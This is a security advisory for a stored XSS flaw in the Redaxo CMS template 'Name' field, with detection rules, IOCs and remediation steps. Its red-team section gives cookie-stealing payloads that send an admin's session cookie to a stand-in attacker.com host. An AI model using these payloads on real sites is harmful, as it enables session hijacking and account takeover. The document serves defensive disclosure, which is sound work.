CVE-2024-25300

Executive Summary

CVE-2024-25300 is a stored Cross-Site Scripting (XSS) vulnerability identified in Redaxo CMS version 5.15.1. The flaw resides in the Template section, specifically within the "Name" parameter, where insufficient input sanitization allows an attacker to inject arbitrary web scripts or HTML. Successful exploitation could lead to session hijacking, credential theft, or defacement of the CMS backend. The vulnerability is publicly known, but no official patch or CVSS vector has been released by the vendor at this time.

Supply Chain & Package Security

Redaxo is a PHP-based content management system. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but affects the core application. Organizations using Redaxo should treat this as a critical supply chain risk, as the CMS may be used to manage multiple websites or internal portals.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (stored XSS in a backend component), a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attacker can send a crafted request over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – The attacker needs a valid account with access to the Template section.
• User Interaction (UI): None (N) – The injected script executes when an admin views the template.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., admin session).
• Confidentiality (C): Low (L) – Potential for data theft.
• Integrity (I): Low (L) – Potential for content modification.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium to High, given the potential for privilege escalation and lateral movement within the CMS.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79). The "Name" parameter in the Template section of Redaxo CMS is not properly sanitized before being stored in the database and later rendered in the admin interface. An attacker with template editing privileges can inject a payload such as:

<script>alert('XSS')</script>

When an administrator views the list of templates or edits a template, the injected script executes in their browser context. This can be leveraged to steal session cookies, perform actions on behalf of the admin, or inject malicious content into the CMS.

The attack flow:

1. Attacker logs into Redaxo with a user account that has template editing rights.
2. Attacker navigates to the Template section and creates or edits a template.
3. Attacker injects a malicious payload into the "Name" field.
4. The payload is stored in the database without sanitization.
5. When an admin views the template list, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (Redaxo 5.15.1): The vulnerable code likely does not escape the name field when rendering the template list. Example (hypothetical):

// Vulnerable: direct output without escaping
echo '<td>' . $template->getName() . '</td>';

Patched Code (Expected): A patch would involve proper output escaping using functions like htmlspecialchars() or using a templating engine that auto-escapes.

// Patched: escape output
echo '<td>' . htmlspecialchars($template->getName(), ENT_QUOTES, 'UTF-8') . '</td>';

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Redaxo 5.15.1 on a local server (e.g., using XAMPP or Docker).
2. Create a user account with template editing privileges.
3. Log in and navigate to the Template section.

Exploitation Steps:

1. Create a new template or edit an existing one.
2. In the "Name" field, inject a payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Save the template.
4. When an admin views the template list, the script executes, sending the admin's session cookie to the attacker's server.

Advanced Payload:

<img src=x onerror="fetch('http://attacker.com/steal', {method: 'POST', body: document.cookie})">

Blue Team

Detection:

• Monitor for unusual POST requests to the template creation/editing endpoints.
• Look for payload patterns in the name parameter (e.g., <script>, <img onerror=, onload=).
• Use web application firewalls (WAF) to block common XSS patterns.

Mitigation:

• Apply input validation and output encoding.
• Restrict template editing privileges to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains from the CMS server.
  • Suspicious POST requests to /redaxo/index.php?page=template/* with encoded payloads in the name parameter.

• File IOCs:

  • Modified template entries in the database containing <script> tags or event handlers.

• Log IOCs:

  • Access logs showing requests to template pages with unusual query strings.
  • Error logs indicating failed XSS attempts.

Detection Engineering

YARA Rule

rule detect_redaxo_xss_cve_2024_25300 {
    meta:
        description = "Detects XSS payloads in Redaxo template name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25300"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Redaxo Stored XSS in Template Name
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Redaxo CMS template name field
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/redaxo/index.php?page=template/"
        cs-method: "POST"
        cs-uri-query|contains: "name="
    filter:
        cs-uri-query|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection and filter
falsepositives:
    - Legitimate use of JavaScript in template names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Redaxo Stored XSS Attempt in Template Name"; flow:to_server,established; content:"POST"; http_method; content:"/redaxo/index.php?page=template/"; http_uri; content:"name="; http_client_body; pcre:"/<script|<[^>]+on\w+=|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable template editing for non-admin users until a patch is applied.
   • Implement a Web Application Firewall (WAF) rule to block XSS payloads in the name parameter.

2. Long-term Fix:

   • Apply output encoding to all user-supplied data in the template section.
   • Use a templating engine that auto-escapes variables (e.g., Twig).
   • Regularly update Redaxo to the latest version.

3. Monitoring:

   • Enable logging for all template-related actions.
   • Review logs for suspicious activity.

4. Patch Status:

   • As of now, no official patch is available. Monitor the Redaxo GitHub repository for updates.

Valters IT
Securing Digital Frontiers